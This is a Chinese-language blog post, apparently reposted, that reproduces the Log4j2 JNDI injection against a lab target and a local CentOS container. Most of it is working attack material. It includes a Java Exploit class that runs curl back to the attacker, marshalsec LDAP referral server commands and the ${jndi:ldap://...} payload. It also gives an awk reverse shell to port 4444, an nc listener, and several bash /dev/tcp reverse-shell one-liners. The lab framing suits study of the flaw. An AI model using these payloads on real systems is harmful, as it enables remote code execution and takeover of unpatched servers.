apache log4j2 漏洞復現linux【純詳版】


本次記錄自己測試時每一步操作,很詳細。

 

本次復現分為curl測試和拿shell兩種操作,測試完curl后體驗時長到期了,只能換環境了。

本次測試環境如下:

curl------------------------------------------------------

靶場:    http://d63bb2586.lab.aqlab.cn/

攻擊機:106.15.47.238(阿里雲的一小時體驗服務器)

拿shell--------------------------------------------------

靶場:      192.168.11.136(centos7)

攻擊機:192.168.11.128(kali)

 

 

 

curl測試:

攻擊機-----------------------

安裝java環境:

jdk1.8.0_181

鏈接:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取碼:6rec

下載好后使用rz傳到vps上:

#yum install lrzsz

#rz

解壓縮:

tar -zxvf jdk-8u181-linux-x64.tar.gz

 

Copy到/usr/jdk:

cp -r jdk1.8.0_181/ /usr/jdk

 

 編輯環境變量:

vi /etc/profile

將下面配置添加到文件最后:

export JAVA_HOME=/usr/jdk

export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH

export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

 告訴系統jdk的位置:

update-alternatives --install "/usr/bin/java" "java" "/usr/jdk/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/jdk/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1

 設置新的jdk為默認:

update-alternatives --set java /usr/jdk/bin/java
update-alternatives --set java /usr/jdk/bin/java

update-alternatives --set javac /usr/jdk/bin/javac
update-alternatives --set javac /usr/jdk/bin/javac

update-alternatives --set javaws /usr/jdk/bin/javaws
update-alternatives --set javaws /usr/jdk/bin/javaws

 

重載profile文件:

source /etc/profile

 查看jdk版本:

java -version 

到此java環境安裝完畢。

編寫一個惡意類,命名為Exploit.java,這里用curl測試:

vi  Exploit.java

 寫入:

public class Exploit {
    public Exploit(){
        try{
            // 要執行的命令
            String[] commands = {"curl","http://106.15.47.238:5678"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

編譯:

javac Exploit.java

開個http服務,等會用來驗證是否命令被目標執行:

安裝maven:

wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.8.4/binaries/apache-maven-3.8.4-bin.tar.gz

 

 解壓:

tar -zxvf apache-maven-3.8.4-bin.tar.gz

 配置:

update-alternatives --install /usr/bin/mvn mvn ~/apache-maven-3.8.4/bin/mvn 1

環境變量配置:

vi /etc/profile

最下面添加:

export MAVEN_HOME=~/apache-maven-3.8.4 
export PATH=$MAVEN_HOME/bin:$PATH

重載profile文件:

source /etc/profile

 裝git:

yum install git

下載marshalsec工具

git clone https://hub.fastgit.org/mbechler/marshalsec.git

進入marshalsec文件夾,使用maven編譯marshalsec成jar包:

mvn clean package -DskipTests

 耐心等待ing...

來了

在Exploit.java文件所在目錄開個http服務:

進入target文件夾,搭建個LDAP服務:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://106.15.47.238:1234/#Exploit 8899

 

 

 訪問靶場:

http://d63bb2586.lab.aqlab.cn/

 點擊登錄后,目標執行命令curl我們的5678端口:

 

 

-------------------------------------------------------- -------------------------------------------------------- 

 

這時候靶場1小時時間到期了嗚嗚。

拿shell:

簡介:

靶機:      192.168.11.136(centos7)

攻擊機:192.168.11.128(kali)

和以上curl操作相同,只是修改被執行的命令為反彈shell。

靶機docker環境搭建:

裝docker

curl -s https://get.docker.com/ | sh

啟動docker:

service docker start

拉鏡像:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

容器:

docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

進容器:

docker exec -it log4j_vuln_container /bin/bash

開tomcat服務:

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

到此為止靶機環境搭建好了。

攻擊機-----------

配java環境、各種組件。和上面curl操作步驟一樣。

配好環境和相關組件后,在Exploit.java所在目錄啟個http服務:

python -m SimpleHTTPServer 1234

開啟LDAP服務:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.11.128:1234/#Exploit 8899

惡意類內容.編輯Exploit.java文件,利用curl反彈shell:

vi Exploit.java

編譯:

再啟個http服務供目標機器來訪問bash.html:

Bash.html內容:意思是把shell反彈到攻擊機4444端口:

awk 'BEGIN {s = "/inet/tcp/0/192.168.11.128/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

 Nc監聽4444,坐等shell:

nc –lvnp 4444

最后訪問http://192.168.11.136:8080/webstudy/hello-fengxuan

Post請求c=${jndi:ldap://192.168.11.128:8899/id}

 過程:

目標Curl攻擊機的8888端口,內容為反彈shell到攻擊機4444端口:

收到shell:

 

 

-----------------------

問 為什么要這樣反彈,麻煩不煩啊!

答 因為其他方式本人沒彈出來(委屈)

bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196

晚安

 

參考:

https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831

https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ

https://cloud.tencent.com/developer/article/1577831

 

聲明:

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM